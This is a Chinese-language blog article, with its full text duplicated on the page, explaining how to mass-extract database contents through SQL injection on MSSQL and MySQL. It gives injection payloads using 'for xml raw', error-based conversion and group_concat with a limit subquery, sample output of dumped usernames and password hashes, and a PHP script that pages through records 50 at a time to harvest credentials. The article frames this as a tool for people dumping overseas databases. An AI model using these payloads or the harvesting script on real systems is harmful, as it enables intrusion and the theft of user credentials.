SQL注入中獲取數(shù)據(jù)的一些技巧分析
發(fā)布時間:2010-05-13 14:24:21 作者:佚名
我要評論
最近接觸了好多歐美日韓臺數(shù)據(jù)庫的數(shù)據(jù)搬運工,很多目標站想拿下來很難很難,不過大家看中的只是數(shù)據(jù)而非webshell,webshell只是為了搬運數(shù)據(jù)方便一點。于是試問下,只存在注入時,您還在一條條搬么?
一、MSSQL獲取數(shù)據(jù):
用的比較多的就是for xml raw了,MSSQL2000都支持的!
注入中顯示數(shù)據(jù)的兩個辦法均可以使用,一是union select、二是顯錯,以MSSQL2005為例:
返回(如果username重復,自動去除重復值):
<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)
返回:
Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '<row username="admin"/><row username="Anna"/><row username="oldjun"/>' to data type int.
當數(shù)據(jù)量很大,無webshell,有注入點可以利用的時候,for xml raw 是不錯的獲取批量數(shù)據(jù)的辦法!為了不讓返回的數(shù)據(jù)量過大,top可以限制小一點,比如100,另外要附加腳本或者程序?qū)Ψ祷刂颠M行處理。
二、MYSQL獲取數(shù)據(jù):
用的比較多的是group_concat,mysql>=4.1支持該函數(shù),可能很多人知道了,但我看過的文章幾乎都是用來讀table_name或者column_name的,畢竟表名、列名的數(shù)據(jù)量不大,所以用起來很方便,可以一下子把所有表名或者所有列名讀出來。不過用group_concat批量注入讀數(shù)據(jù)的很少,雖然可以提高效率,增快速度。
因為group_concat有個瓶頸,當group_concat與limit連用時,limit不起作用(也許是先執(zhí)行g(shù)roup_concat),于是group_concat一次性讀出很多條數(shù)據(jù)(取決于group_concat_max_len,默認1024),而一般網(wǎng)站數(shù)據(jù)量都是很大的。一旦不能與limit連用,怎么獲取之后的數(shù)據(jù)呢?
其實簡單變動下SQL語句即可以實現(xiàn)group_concat與limit連用:
select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A
返回:
guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
于是簡單做下字符串處理,前三條數(shù)據(jù)就出來了。為了返回不至于數(shù)據(jù)量過大,單次查詢100以下一般可以接受的。
三、給出部分示例代碼(mysql group_concat 50條數(shù)據(jù)每次):
<?
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' start end(end: count/50)
Example:
php '.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$start = $argv[1];
$over = $argv[2];
for($i=$start;$i<=$over;$i++){
getdata($i);
}
function getdata($i)
{
$resp = send($i);
if ($resp){
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value);
if($value){
$namearr=explode("|||",$value[1]);
$passarr=explode("|||",$value[2]);
for($j=0;$j<50;$j++){
echo $namearr[$j]."|||".$passarr[$j]."\r\n";
}
unset($namearr);
unset($passarr);
}else{
echo $resp;
echo "value error,return $i\r\n";
getdata($i);
}
}
else{
echo "resp error,return $i\r\n";
getdata($i);
}
}
function send($i)
{
$limit=$i*50;
//發(fā)送數(shù)據(jù)包代碼省略
//注入語句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>
用的比較多的就是for xml raw了,MSSQL2000都支持的!
注入中顯示數(shù)據(jù)的兩個辦法均可以使用,一是union select、二是顯錯,以MSSQL2005為例:
復制代碼
代碼如下:select username from members where 1=2 union select top 3 username from members for xml raw
返回(如果username重復,自動去除重復值):
復制代碼
代碼如下:<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)
返回:
復制代碼
代碼如下:Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '<row username="admin"/><row username="Anna"/><row username="oldjun"/>' to data type int.
當數(shù)據(jù)量很大,無webshell,有注入點可以利用的時候,for xml raw 是不錯的獲取批量數(shù)據(jù)的辦法!為了不讓返回的數(shù)據(jù)量過大,top可以限制小一點,比如100,另外要附加腳本或者程序?qū)Ψ祷刂颠M行處理。
二、MYSQL獲取數(shù)據(jù):
用的比較多的是group_concat,mysql>=4.1支持該函數(shù),可能很多人知道了,但我看過的文章幾乎都是用來讀table_name或者column_name的,畢竟表名、列名的數(shù)據(jù)量不大,所以用起來很方便,可以一下子把所有表名或者所有列名讀出來。不過用group_concat批量注入讀數(shù)據(jù)的很少,雖然可以提高效率,增快速度。
因為group_concat有個瓶頸,當group_concat與limit連用時,limit不起作用(也許是先執(zhí)行g(shù)roup_concat),于是group_concat一次性讀出很多條數(shù)據(jù)(取決于group_concat_max_len,默認1024),而一般網(wǎng)站數(shù)據(jù)量都是很大的。一旦不能與limit連用,怎么獲取之后的數(shù)據(jù)呢?
其實簡單變動下SQL語句即可以實現(xiàn)group_concat與limit連用:
復制代碼
代碼如下:select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A
返回:
guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
于是簡單做下字符串處理,前三條數(shù)據(jù)就出來了。為了返回不至于數(shù)據(jù)量過大,單次查詢100以下一般可以接受的。
三、給出部分示例代碼(mysql group_concat 50條數(shù)據(jù)每次):
復制代碼
代碼如下:<?
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' start end(end: count/50)
Example:
php '.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$start = $argv[1];
$over = $argv[2];
for($i=$start;$i<=$over;$i++){
getdata($i);
}
function getdata($i)
{
$resp = send($i);
if ($resp){
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value);
if($value){
$namearr=explode("|||",$value[1]);
$passarr=explode("|||",$value[2]);
for($j=0;$j<50;$j++){
echo $namearr[$j]."|||".$passarr[$j]."\r\n";
}
unset($namearr);
unset($passarr);
}else{
echo $resp;
echo "value error,return $i\r\n";
getdata($i);
}
}
else{
echo "resp error,return $i\r\n";
getdata($i);
}
}
function send($i)
{
$limit=$i*50;
//發(fā)送數(shù)據(jù)包代碼省略
//注入語句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>
相關文章
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實例分析,需要的朋友可以參考下2017-05-19
- 這里為大家分享一下sql注入的一些語句,很多情況下由于程序員的安全意識薄弱或基本功不足就容易導致sql注入安全問題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學2017-05-19
- 這篇文章主要介紹了mysql 注入報錯利用方法總結(jié)的相關資料,需要的朋友可以參考下2016-10-08
- SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁面訪問沒什么區(qū)別,所以目前市面的防火墻都不會對SQL注入發(fā)出警報,如果管理員沒查看IIS日志的習慣,可能被入2016-05-21
- 這篇文章主要為大家介紹了SQL注入測試實例分析,對于數(shù)據(jù)庫安全非常重要,需要的朋友可以參考下2014-08-06
- sqlmap 是一個自動SQL 射入工具。本文收集了一些利用Sqlmap做注入測試的TIPS,其中也包含一點繞WAF的技巧,便于大家集中查閱,歡迎接樓補充、分享。2014-07-29
- 畢業(yè)開始從事winfrm到今年轉(zhuǎn)到 web ,在碼農(nóng)屆已經(jīng)足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關開發(fā)……必須的各種借口。這幾天把sql注入2012-11-06
- java防SQL注入,最簡單的辦法是杜絕SQL拼接,SQL注入攻擊能得逞是因為在原有SQL語句中加入了新的邏輯2012-08-10
- SQL注入攻擊的危害性很大。在講解其防止辦法之前,數(shù)據(jù)庫管理員有必要先了解一下其攻擊的原理。這有利于管理員采取有針對性的防治措施2012-07-10
- web 頁面 一些sql注入語句小結(jié),對于開發(fā)人員來說一定要注意的事項。2012-03-12

